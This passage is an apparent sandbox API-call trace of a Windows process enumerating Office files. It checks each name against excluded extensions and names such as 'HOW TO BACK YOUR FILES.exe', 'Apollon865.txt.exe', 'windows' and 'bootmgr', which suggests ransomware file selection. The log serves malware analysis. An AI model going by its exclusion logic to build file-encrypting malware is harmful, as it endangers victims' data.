	[0072.615] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EADOCUMENTAPPROVAL_REVIEW.XSN" | out: lpString1="EADOCUMENTAPPROVAL_REVIEW.XSN") returned="EADOCUMENTAPPROVAL_REVIEW.XSN"
	[0072.615] lstrlenW (lpString="EADOCUMENTAPPROVAL_REVIEW.XSN") returned 29
	[0072.615] lstrlenW (lpString="Apollon865") returned 10
	[0072.615] lstrcmpiW (lpString1="REVIEW.XSN", lpString2="Apollon865") returned 1
	[0072.615] lstrlenW (lpString=".dll") returned 4
	[0072.615] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_REVIEW.XSN", lpString2=".dll") returned 1
	[0072.615] lstrlenW (lpString=".lnk") returned 4
	[0072.615] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_REVIEW.XSN", lpString2=".lnk") returned 1
	[0072.615] lstrlenW (lpString=".ini") returned 4
	[0072.615] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_REVIEW.XSN", lpString2=".ini") returned 1
	[0072.615] lstrlenW (lpString=".sys") returned 4
	[0072.615] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_REVIEW.XSN", lpString2=".sys") returned 1
	[0072.615] lstrlenW (lpString="EADOCUMENTAPPROVAL_REVIEW.XSN") returned 29
	[0072.615] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EAWFINTL.DLL" | out: lpString1="EAWFINTL.DLL") returned="EAWFINTL.DLL"
	[0072.615] lstrlenW (lpString="EAWFINTL.DLL") returned 12
	[0072.615] lstrlenW (lpString="Apollon865") returned 10
	[0072.615] lstrcmpiW (lpString1="WFINTL.DLL", lpString2="Apollon865") returned 1
	[0072.615] lstrlenW (lpString=".dll") returned 4
	[0072.615] lstrcmpiW (lpString1="EAWFINTL.DLL", lpString2=".dll") returned 1
	[0072.615] lstrlenW (lpString=".lnk") returned 4
	[0072.615] lstrcmpiW (lpString1="EAWFINTL.DLL", lpString2=".lnk") returned 1
	[0072.616] lstrlenW (lpString=".ini") returned 4
	[0072.616] lstrcmpiW (lpString1="EAWFINTL.DLL", lpString2=".ini") returned 1
	[0072.616] lstrlenW (lpString=".sys") returned 4
	[0072.616] lstrcmpiW (lpString1="EAWFINTL.DLL", lpString2=".sys") returned 1
	[0072.616] lstrlenW (lpString="EAWFINTL.DLL") returned 12
	[0072.616] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EDITRES.DLL" | out: lpString1="EDITRES.DLL") returned="EDITRES.DLL"
	[0072.616] lstrlenW (lpString="EDITRES.DLL") returned 11
	[0072.616] lstrlenW (lpString="Apollon865") returned 10
	[0072.616] lstrcmpiW (lpString1="DITRES.DLL", lpString2="Apollon865") returned 1
	[0072.616] lstrlenW (lpString=".dll") returned 4
	[0072.616] lstrcmpiW (lpString1="EDITRES.DLL", lpString2=".dll") returned 1
	[0072.616] lstrlenW (lpString=".lnk") returned 4
	[0072.616] lstrcmpiW (lpString1="EDITRES.DLL", lpString2=".lnk") returned 1
	[0072.616] lstrlenW (lpString=".ini") returned 4
	[0072.616] lstrcmpiW (lpString1="EDITRES.DLL", lpString2=".ini") returned 1
	[0072.616] lstrlenW (lpString=".sys") returned 4
	[0072.616] lstrcmpiW (lpString1="EDITRES.DLL", lpString2=".sys") returned 1
	[0072.616] lstrlenW (lpString="EDITRES.DLL") returned 11
	[0072.616] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EntityPickerIntl.dll" | out: lpString1="EntityPickerIntl.dll") returned="EntityPickerIntl.dll"
	[0072.616] lstrlenW (lpString="EntityPickerIntl.dll") returned 20
	[0072.616] lstrlenW (lpString="Apollon865") returned 10
	[0072.616] lstrcmpiW (lpString1="erIntl.dll", lpString2="Apollon865") returned 1
	[0072.616] lstrlenW (lpString=".dll") returned 4
	[0072.616] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2=".dll") returned 1
	[0072.616] lstrlenW (lpString=".lnk") returned 4
	[0072.616] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2=".lnk") returned 1
	[0072.616] lstrlenW (lpString=".ini") returned 4
	[0072.616] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2=".ini") returned 1
	[0072.616] lstrlenW (lpString=".sys") returned 4
	[0072.616] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2=".sys") returned 1
	[0072.616] lstrlenW (lpString="EntityPickerIntl.dll") returned 20
	[0072.617] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ENVELOPR.DLL" | out: lpString1="ENVELOPR.DLL") returned="ENVELOPR.DLL"
	[0072.617] lstrlenW (lpString="ENVELOPR.DLL") returned 12
	[0072.617] lstrlenW (lpString="Apollon865") returned 10
	[0072.617] lstrcmpiW (lpString1="VELOPR.DLL", lpString2="Apollon865") returned 1
	[0072.617] lstrlenW (lpString=".dll") returned 4
	[0072.617] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2=".dll") returned 1
	[0072.617] lstrlenW (lpString=".lnk") returned 4
	[0072.617] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2=".lnk") returned 1
	[0072.617] lstrlenW (lpString=".ini") returned 4
	[0072.617] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2=".ini") returned 1
	[0072.617] lstrlenW (lpString=".sys") returned 4
	[0072.617] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2=".sys") returned 1
	[0072.617] lstrlenW (lpString="ENVELOPR.DLL") returned 12
	[0072.617] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ENVELOPR.DLL.IDX_DLL" | out: lpString1="ENVELOPR.DLL.IDX_DLL") returned="ENVELOPR.DLL.IDX_DLL"
	[0072.617] lstrlenW (lpString="ENVELOPR.DLL.IDX_DLL") returned 20
	[0072.617] lstrlenW (lpString="Apollon865") returned 10
	[0072.617] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.617] lstrlenW (lpString=".dll") returned 4
	[0072.617] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2=".dll") returned 1
	[0072.617] lstrlenW (lpString=".lnk") returned 4
	[0072.617] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2=".lnk") returned 1
	[0072.617] lstrlenW (lpString=".ini") returned 4
	[0072.617] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2=".ini") returned 1
	[0072.617] lstrlenW (lpString=".sys") returned 4
	[0072.617] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2=".sys") returned 1
	[0072.617] lstrlenW (lpString="ENVELOPR.DLL.IDX_DLL") returned 20
	[0072.617] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EQPLIST.VRD" | out: lpString1="EQPLIST.VRD") returned="EQPLIST.VRD"
	[0072.617] lstrlenW (lpString="EQPLIST.VRD") returned 11
	[0072.617] lstrlenW (lpString="Apollon865") returned 10
	[0072.618] lstrcmpiW (lpString1="QPLIST.VRD", lpString2="Apollon865") returned 1
	[0072.618] lstrlenW (lpString=".dll") returned 4
	[0072.618] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2=".dll") returned 1
	[0072.618] lstrlenW (lpString=".lnk") returned 4
	[0072.618] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2=".lnk") returned 1
	[0072.618] lstrlenW (lpString=".ini") returned 4
	[0072.618] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2=".ini") returned 1
	[0072.618] lstrlenW (lpString=".sys") returned 4
	[0072.618] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2=".sys") returned 1
	[0072.618] lstrlenW (lpString="EQPLIST.VRD") returned 11
	[0072.618] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EXCEL.DEV.HXS" | out: lpString1="EXCEL.DEV.HXS") returned="EXCEL.DEV.HXS"
	[0072.618] lstrlenW (lpString="EXCEL.DEV.HXS") returned 13
	[0072.618] lstrlenW (lpString="Apollon865") returned 10
	[0072.618] lstrcmpiW (lpString1="EL.DEV.HXS", lpString2="Apollon865") returned 1
	[0072.618] lstrlenW (lpString=".dll") returned 4
	[0072.618] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2=".dll") returned 1
	[0072.618] lstrlenW (lpString=".lnk") returned 4
	[0072.618] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2=".lnk") returned 1
	[0072.618] lstrlenW (lpString=".ini") returned 4
	[0072.618] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2=".ini") returned 1
	[0072.618] lstrlenW (lpString=".sys") returned 4
	[0072.618] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2=".sys") returned 1
	[0072.618] lstrlenW (lpString="EXCEL.DEV.HXS") returned 13
	[0072.618] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EXCEL.DEV_COL.HXC" | out: lpString1="EXCEL.DEV_COL.HXC") returned="EXCEL.DEV_COL.HXC"
	[0072.618] lstrlenW (lpString="EXCEL.DEV_COL.HXC") returned 17
	[0072.618] lstrlenW (lpString="Apollon865") returned 10
	[0072.618] lstrcmpiW (lpString1="EV_COL.HXC", lpString2="Apollon865") returned 1
	[0072.618] lstrlenW (lpString=".dll") returned 4
	[0072.618] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2=".dll") returned 1
	[0072.619] lstrlenW (lpString=".lnk") returned 4
	[0072.619] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2=".lnk") returned 1
	[0072.619] lstrlenW (lpString=".ini") returned 4
	[0072.619] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2=".ini") returned 1
	[0072.619] lstrlenW (lpString=".sys") returned 4
	[0072.619] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2=".sys") returned 1
	[0072.619] lstrlenW (lpString="EXCEL.DEV_COL.HXC") returned 17
	[0072.619] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EXCEL.DEV_COL.HXT" | out: lpString1="EXCEL.DEV_COL.HXT") returned="EXCEL.DEV_COL.HXT"
	[0072.619] lstrlenW (lpString="EXCEL.DEV_COL.HXT") returned 17
	[0072.619] lstrlenW (lpString="Apollon865") returned 10
	[0072.619] lstrcmpiW (lpString1="EV_COL.HXT", lpString2="Apollon865") returned 1
	[0072.619] lstrlenW (lpString=".dll") returned 4
	[0072.619] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2=".dll") returned 1
	[0072.619] lstrlenW (lpString=".lnk") returned 4
	[0072.619] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2=".lnk") returned 1
	[0072.619] lstrlenW (lpString=".ini") returned 4
	[0072.619] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2=".ini") returned 1
	[0072.619] lstrlenW (lpString=".sys") returned 4
	[0072.619] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2=".sys") returned 1
	[0072.619] lstrlenW (lpString="EXCEL.DEV_COL.HXT") returned 17
	[0072.619] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EXCEL.DEV_F_COL.HXK" | out: lpString1="EXCEL.DEV_F_COL.HXK") returned="EXCEL.DEV_F_COL.HXK"
	[0072.619] lstrlenW (lpString="EXCEL.DEV_F_COL.HXK") returned 19
	[0072.619] lstrlenW (lpString="Apollon865") returned 10
	[0072.619] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.619] lstrlenW (lpString=".dll") returned 4
	[0072.619] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2=".dll") returned 1
	[0072.620] lstrlenW (lpString=".lnk") returned 4
	[0072.620] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2=".lnk") returned 1
	[0072.620] lstrlenW (lpString=".ini") returned 4
	[0072.620] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2=".ini") returned 1
	[0072.620] lstrlenW (lpString=".sys") returned 4
	[0072.620] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2=".sys") returned 1
	[0072.620] lstrlenW (lpString="EXCEL.DEV_F_COL.HXK") returned 19
	[0072.620] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EXCEL.DEV_K_COL.HXK" | out: lpString1="EXCEL.DEV_K_COL.HXK") returned="EXCEL.DEV_K_COL.HXK"
	[0072.620] lstrlenW (lpString="EXCEL.DEV_K_COL.HXK") returned 19
	[0072.620] lstrlenW (lpString="Apollon865") returned 10
	[0072.620] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.620] lstrlenW (lpString=".dll") returned 4
	[0072.620] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2=".dll") returned 1
	[0072.620] lstrlenW (lpString=".lnk") returned 4
	[0072.620] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2=".lnk") returned 1
	[0072.620] lstrlenW (lpString=".ini") returned 4
	[0072.620] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2=".ini") returned 1
	[0072.620] lstrlenW (lpString=".sys") returned 4
	[0072.620] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2=".sys") returned 1
	[0072.620] lstrlenW (lpString="EXCEL.DEV_K_COL.HXK") returned 19
	[0072.620] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EXCEL.HXS" | out: lpString1="EXCEL.HXS") returned="EXCEL.HXS"
	[0072.620] lstrlenW (lpString="EXCEL.HXS") returned 9
	[0072.620] lstrlenW (lpString="Apollon865") returned 10
	[0072.620] lstrlenW (lpString=".dll") returned 4
	[0072.620] lstrcmpiW (lpString1="EXCEL.HXS", lpString2=".dll") returned 1
	[0072.620] lstrlenW (lpString=".lnk") returned 4
	[0072.620] lstrcmpiW (lpString1="EXCEL.HXS", lpString2=".lnk") returned 1
	[0072.620] lstrlenW (lpString=".ini") returned 4
	[0072.620] lstrcmpiW (lpString1="EXCEL.HXS", lpString2=".ini") returned 1
	[0072.620] lstrlenW (lpString=".sys") returned 4
	[0072.620] lstrcmpiW (lpString1="EXCEL.HXS", lpString2=".sys") returned 1
	[0072.620] lstrlenW (lpString="EXCEL.HXS") returned 9
	[0072.621] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EXCEL_COL.HXC" | out: lpString1="EXCEL_COL.HXC") returned="EXCEL_COL.HXC"
	[0072.621] lstrlenW (lpString="EXCEL_COL.HXC") returned 13
	[0072.621] lstrlenW (lpString="Apollon865") returned 10
	[0072.621] lstrcmpiW (lpString1="EL_COL.HXC", lpString2="Apollon865") returned 1
	[0072.621] lstrlenW (lpString=".dll") returned 4
	[0072.621] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2=".dll") returned 1
	[0072.621] lstrlenW (lpString=".lnk") returned 4
	[0072.621] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2=".lnk") returned 1
	[0072.621] lstrlenW (lpString=".ini") returned 4
	[0072.621] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2=".ini") returned 1
	[0072.621] lstrlenW (lpString=".sys") returned 4
	[0072.621] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2=".sys") returned 1
	[0072.621] lstrlenW (lpString="EXCEL_COL.HXC") returned 13
	[0072.621] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EXCEL_COL.HXT" | out: lpString1="EXCEL_COL.HXT") returned="EXCEL_COL.HXT"
	[0072.621] lstrlenW (lpString="EXCEL_COL.HXT") returned 13
	[0072.621] lstrlenW (lpString="Apollon865") returned 10
	[0072.621] lstrcmpiW (lpString1="EL_COL.HXT", lpString2="Apollon865") returned 1
	[0072.621] lstrlenW (lpString=".dll") returned 4
	[0072.621] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2=".dll") returned 1
	[0072.621] lstrlenW (lpString=".lnk") returned 4
	[0072.621] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2=".lnk") returned 1
	[0072.621] lstrlenW (lpString=".ini") returned 4
	[0072.621] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2=".ini") returned 1
	[0072.621] lstrlenW (lpString=".sys") returned 4
	[0072.621] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2=".sys") returned 1
	[0072.621] lstrlenW (lpString="EXCEL_COL.HXT") returned 13
	[0072.621] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EXCEL_F_COL.HXK" | out: lpString1="EXCEL_F_COL.HXK") returned="EXCEL_F_COL.HXK"
	[0072.621] lstrlenW (lpString="EXCEL_F_COL.HXK") returned 15
	[0072.622] lstrlenW (lpString="Apollon865") returned 10
	[0072.622] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.622] lstrlenW (lpString=".dll") returned 4
	[0072.622] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2=".dll") returned 1
	[0072.622] lstrlenW (lpString=".lnk") returned 4
	[0072.622] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2=".lnk") returned 1
	[0072.622] lstrlenW (lpString=".ini") returned 4
	[0072.622] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2=".ini") returned 1
	[0072.622] lstrlenW (lpString=".sys") returned 4
	[0072.622] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2=".sys") returned 1
	[0072.622] lstrlenW (lpString="EXCEL_F_COL.HXK") returned 15
	[0072.622] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EXCEL_K_COL.HXK" | out: lpString1="EXCEL_K_COL.HXK") returned="EXCEL_K_COL.HXK"
	[0072.622] lstrlenW (lpString="EXCEL_K_COL.HXK") returned 15
	[0072.622] lstrlenW (lpString="Apollon865") returned 10
	[0072.622] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.622] lstrlenW (lpString=".dll") returned 4
	[0072.622] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2=".dll") returned 1
	[0072.622] lstrlenW (lpString=".lnk") returned 4
	[0072.622] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2=".lnk") returned 1
	[0072.622] lstrlenW (lpString=".ini") returned 4
	[0072.622] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2=".ini") returned 1
	[0072.622] lstrlenW (lpString=".sys") returned 4
	[0072.622] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2=".sys") returned 1
	[0072.622] lstrlenW (lpString="EXCEL_K_COL.HXK") returned 15
	[0072.622] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EXPTOOWS.DLL" | out: lpString1="EXPTOOWS.DLL") returned="EXPTOOWS.DLL"
	[0072.622] lstrlenW (lpString="EXPTOOWS.DLL") returned 12
	[0072.622] lstrlenW (lpString="Apollon865") returned 10
	[0072.622] lstrcmpiW (lpString1="PTOOWS.DLL", lpString2="Apollon865") returned 1
	[0072.622] lstrlenW (lpString=".dll") returned 4
	[0072.622] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2=".dll") returned 1
	[0072.622] lstrlenW (lpString=".lnk") returned 4
	[0072.622] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2=".lnk") returned 1
	[0072.623] lstrlenW (lpString=".ini") returned 4
	[0072.623] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2=".ini") returned 1
	[0072.623] lstrlenW (lpString=".sys") returned 4
	[0072.623] lstrcmpiW (lpString1="EXPTOOWS.DLL", lpString2=".sys") returned 1
	[0072.623] lstrlenW (lpString="EXPTOOWS.DLL") returned 12
	[0072.623] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EXPTOOWS.XLA" | out: lpString1="EXPTOOWS.XLA") returned="EXPTOOWS.XLA"
	[0072.623] lstrlenW (lpString="EXPTOOWS.XLA") returned 12
	[0072.623] lstrlenW (lpString="Apollon865") returned 10
	[0072.623] lstrcmpiW (lpString1="PTOOWS.XLA", lpString2="Apollon865") returned 1
	[0072.623] lstrlenW (lpString=".dll") returned 4
	[0072.623] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2=".dll") returned 1
	[0072.623] lstrlenW (lpString=".lnk") returned 4
	[0072.623] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2=".lnk") returned 1
	[0072.623] lstrlenW (lpString=".ini") returned 4
	[0072.623] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2=".ini") returned 1
	[0072.623] lstrlenW (lpString=".sys") returned 4
	[0072.623] lstrcmpiW (lpString1="EXPTOOWS.XLA", lpString2=".sys") returned 1
	[0072.623] lstrlenW (lpString="EXPTOOWS.XLA") returned 12
	[0072.623] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="FACILITY.VSL" | out: lpString1="FACILITY.VSL") returned="FACILITY.VSL"
	[0072.623] lstrlenW (lpString="FACILITY.VSL") returned 12
	[0072.623] lstrlenW (lpString="Apollon865") returned 10
	[0072.623] lstrcmpiW (lpString1="CILITY.VSL", lpString2="Apollon865") returned 1
	[0072.623] lstrlenW (lpString=".dll") returned 4
	[0072.623] lstrcmpiW (lpString1="FACILITY.VSL", lpString2=".dll") returned 1
	[0072.623] lstrlenW (lpString=".lnk") returned 4
	[0072.623] lstrcmpiW (lpString1="FACILITY.VSL", lpString2=".lnk") returned 1
	[0072.623] lstrlenW (lpString=".ini") returned 4
	[0072.623] lstrcmpiW (lpString1="FACILITY.VSL", lpString2=".ini") returned 1
	[0072.623] lstrlenW (lpString=".sys") returned 4
	[0072.623] lstrcmpiW (lpString1="FACILITY.VSL", lpString2=".sys") returned 1
	[0072.623] lstrlenW (lpString="FACILITY.VSL") returned 12
	[0072.624] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="FLOCH.VRD" | out: lpString1="FLOCH.VRD") returned="FLOCH.VRD"
	[0072.624] lstrlenW (lpString="FLOCH.VRD") returned 9
	[0072.624] lstrlenW (lpString="Apollon865") returned 10
	[0072.624] lstrlenW (lpString=".dll") returned 4
	[0072.624] lstrcmpiW (lpString1="FLOCH.VRD", lpString2=".dll") returned 1
	[0072.624] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="FOREST.CSS" | out: lpString1="FOREST.CSS") returned="FOREST.CSS"
	[0072.624] lstrlenW (lpString="FOREST.CSS") returned 10
	[0072.624] lstrlenW (lpString="Apollon865") returned 10
	[0072.624] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GANTT.CSS" | out: lpString1="GANTT.CSS") returned="GANTT.CSS"
	[0072.624] lstrlenW (lpString="GANTT.CSS") returned 9
	[0072.624] lstrlenW (lpString="Apollon865") returned 10
	[0072.624] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GANTT.VRD" | out: lpString1="GANTT.VRD") returned="GANTT.VRD"
	[0072.624] lstrlenW (lpString="GANTT.VRD") returned 9
	[0072.624] lstrlenW (lpString="Apollon865") returned 10
	[0072.624] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GANTT.VSL" | out: lpString1="GANTT.VSL") returned="GANTT.VSL"
	[0072.624] lstrlenW (lpString="GANTT.VSL") returned 9
	[0072.624] lstrlenW (lpString="Apollon865") returned 10
	[0072.624] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GR8GALRY.GRA" | out: lpString1="GR8GALRY.GRA") returned="GR8GALRY.GRA"
	[0072.624] lstrlenW (lpString="GR8GALRY.GRA") returned 12
	[0072.624] lstrlenW (lpString="Apollon865") returned 10
	[0072.624] lstrcmpiW (lpString1="8GALRY.GRA", lpString2="Apollon865") returned -1
	[0072.625] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRAPH.HXS" | out: lpString1="GRAPH.HXS") returned="GRAPH.HXS"
	[0072.625] lstrlenW (lpString="GRAPH.HXS") returned 9
	[0072.625] lstrlenW (lpString="Apollon865") returned 10
	[0072.625] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRAPH_COL.HXC" | out: lpString1="GRAPH_COL.HXC") returned="GRAPH_COL.HXC"
	[0072.625] lstrlenW (lpString="GRAPH_COL.HXC") returned 13
	[0072.625] lstrlenW (lpString="Apollon865") returned 10
	[0072.625] lstrcmpiW (lpString1="PH_COL.HXC", lpString2="Apollon865") returned 1
	[0072.626] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRAPH_COL.HXT" | out: lpString1="GRAPH_COL.HXT") returned="GRAPH_COL.HXT"
	[0072.626] lstrlenW (lpString="GRAPH_COL.HXT") returned 13
	[0072.626] lstrlenW (lpString="Apollon865") returned 10
	[0072.626] lstrcmpiW (lpString1="PH_COL.HXT", lpString2="Apollon865") returned 1
	[0072.626] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRAPH_F_COL.HXK" | out: lpString1="GRAPH_F_COL.HXK") returned="GRAPH_F_COL.HXK"
	[0072.626] lstrlenW (lpString="GRAPH_F_COL.HXK") returned 15
	[0072.626] lstrlenW (lpString="Apollon865") returned 10
	[0072.626] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.626] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRAPH_K_COL.HXK" | out: lpString1="GRAPH_K_COL.HXK") returned="GRAPH_K_COL.HXK"
	[0072.626] lstrlenW (lpString="GRAPH_K_COL.HXK") returned 15
	[0072.626] lstrlenW (lpString="Apollon865") returned 10
	[0072.626] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.626] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRINTL32.DLL" | out: lpString1="GRINTL32.DLL") returned="GRINTL32.DLL"
	[0072.626] lstrlenW (lpString="GRINTL32.DLL") returned 12
	[0072.626] lstrlenW (lpString="Apollon865") returned 10
	[0072.627] lstrcmpiW (lpString1="INTL32.DLL", lpString2="Apollon865") returned 1
	[0072.627] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRINTL32.DLL.IDX_DLL" | out: lpString1="GRINTL32.DLL.IDX_DLL") returned="GRINTL32.DLL.IDX_DLL"
	[0072.627] lstrlenW (lpString="GRINTL32.DLL.IDX_DLL") returned 20
	[0072.627] lstrlenW (lpString="Apollon865") returned 10
	[0072.627] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.627] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRINTL32.REST.IDX_DLL" | out: lpString1="GRINTL32.REST.IDX_DLL") returned="GRINTL32.REST.IDX_DLL"
	[0072.627] lstrlenW (lpString="GRINTL32.REST.IDX_DLL") returned 21
	[0072.627] lstrlenW (lpString="Apollon865") returned 10
	[0072.627] lstrcmpiW (lpString1="ST.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.627] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRLEX.DLL" | out: lpString1="GRLEX.DLL") returned="GRLEX.DLL"
	[0072.627] lstrlenW (lpString="GRLEX.DLL") returned 9
	[0072.627] lstrlenW (lpString="Apollon865") returned 10
	[0072.627] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Groove Starter Template.xsn" | out: lpString1="Groove Starter Template.xsn") returned="Groove Starter Template.xsn"
	[0072.627] lstrlenW (lpString="Groove Starter Template.xsn") returned 27
	[0072.627] lstrlenW (lpString="Apollon865") returned 10
	[0072.627] lstrcmpiW (lpString1="mplate.xsn", lpString2="Apollon865") returned 1
	[0072.627] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GROOVE.HXS" | out: lpString1="GROOVE.HXS") returned="GROOVE.HXS"
	[0072.627] lstrlenW (lpString="GROOVE.HXS") returned 10
	[0072.627] lstrlenW (lpString="Apollon865") returned 10
	[0072.627] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GrooveForms5" | out: lpString1="GrooveForms5") returned="GrooveForms5"
	[0072.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0072.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf700
	[0072.628] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7990
	[0072.628] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x863360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="GROOVE~1.DLL")) returned 1
	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="Apollon865.txt.exe") returned 1
	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2=".") returned 1
	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="..") returned 1
	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="windows") returned -1
	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="bootmgr") returned 1
